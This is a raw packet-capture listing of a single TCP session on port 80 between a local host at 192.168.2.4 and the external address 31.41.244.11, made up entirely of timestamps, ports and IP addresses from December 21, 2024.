Dec 21, 2024 18:16:50.032835960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.032900095 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.032979012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.033797026 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.033874035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.033929110 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.034728050 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.034857035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.035324097 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.035684109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.035809994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.036629915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.036690950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.036761999 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.037583113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.037713051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.037770987 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.038563967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.038773060 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.039328098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.039453983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.039567947 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.039568901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.040167093 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.040390968 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.040445089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.040496111 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.041322947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.041390896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.041433096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.042259932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.043334007 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.057728052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.057770014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.057940006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.058001041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.058017969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.058052063 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.058938980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.059072018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.059325933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.059828997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.059958935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.060781002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.060833931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.060839891 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.061686993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.061736107 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.061863899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.062963963 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.063014030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.063059092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.063307047 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.063549995 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.067351103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.191441059 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.191494942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.191615105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.191615105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.191869020 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.191932917 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.191972971 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.192156076 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.193003893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.193059921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.193073034 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.193348885 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.193711042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.193768978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.193773985 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.193973064 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.194619894 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.194701910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.194716930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.194766998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.195559025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.195682049 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.195744038 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.196527004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.196661949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.196763039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.196842909 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.197549105 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.197603941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.197664022 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.197798014 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.198494911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.198544979 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.198549032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.198678017 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.199330091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.199435949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.199496031 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.200361967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.200424910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.200489998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.200578928 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.201250076 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.201335907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.201340914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.201390028 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.202177048 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.202299118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.202305079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.202406883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.203078032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.203207016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.203262091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.204065084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.204121113 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.204138041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.204283953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.205194950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.205248117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.205255985 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.205565929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.205929041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.205981016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.206032991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.206131935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.206912994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.206962109 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.206964016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.207034111 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.207818985 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.207870007 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.207871914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.207917929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.208765030 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.208818913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.208941936 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.209016085 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.209731102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.209789038 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.209888935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.209944963 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.210652113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.210714102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.210788965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.211221933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.211580992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.211637974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.211745024 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.211800098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.212604046 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.212708950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.212745905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.212796926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.213476896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.213557959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.213633060 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.213685036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.214405060 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.214554071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.214574099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.214623928 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.215436935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.215490103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.215536118 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.215595007 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.216303110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.216366053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.216424942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.216480970 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.217263937 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.217315912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.217365980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.217514038 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.218297005 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.218350887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.218405962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.218502045 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.219140053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.219197989 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.219244957 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.219317913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.220067978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.220117092 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.220180035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.220287085 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.221127033 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.221180916 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.221206903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.221282959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.221968889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.222018957 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.222070932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.222194910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.222980022 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.223136902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.223206997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.223840952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.223896027 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.223974943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.224402905 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.225111008 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.225171089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.225230932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.225356102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.226142883 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.226197004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.226253986 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.226311922 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.226893902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.226955891 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.226989985 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.227035046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.227793932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.227902889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.227956057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.228595972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.228647947 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.228710890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.228760958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.229523897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.229576111 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.229578018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.229635954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.230465889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.230526924 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.230600119 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.231522083 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.231584072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.231745958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.231897116 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.232533932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.232594967 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.232625961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.232707977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.233360052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.233411074 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.233566999 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.233728886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.234433889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.234488010 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.250102043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.250442982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.250688076 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.250739098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.250777960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.250799894 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.250853062 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.251523972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.251576900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.251632929 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.251842976 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.252605915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.252651930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.252748966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.252800941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.253508091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.253562927 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.253745079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.253810883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.254328012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.254379988 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.254506111 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.254555941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.255281925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.255368948 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.255461931 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.383752108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.383775949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.383795977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.383840084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.383852005 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.383881092 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.383900881 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.384810925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.384870052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.384931087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.385204077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.385601997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.385658026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.385936975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.386030912 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.386877060 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.386934042 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.386966944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.387320995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.387864113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.387926102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.388731956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.388787031 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.388864040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.389841080 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.389858007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.389902115 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.389916897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.390640974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.390691996 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.390805960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.390855074 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.391625881 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.391675949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.391700983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.391891003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.392529964 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.392587900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.392709017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.392777920 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.393512964 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.393665075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.393738031 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.394407034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.394433975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.394462109 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.394474030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.395354986 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.395550966 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.395581007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.395622969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.396367073 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.396384954 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.396415949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.396431923 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.397253036 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.397320032 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.397414923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.397496939 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.398389101 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.398406029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.398468971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.399209023 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.399269104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.399358034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.399431944 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.400048018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.400095940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.400124073 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.400312901 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.401031971 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.401082993 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.401108980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.401309013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.401949883 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.402030945 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.402153969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.402234077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.402965069 CET	80	49866	31.41.244.11	192.168.2.4
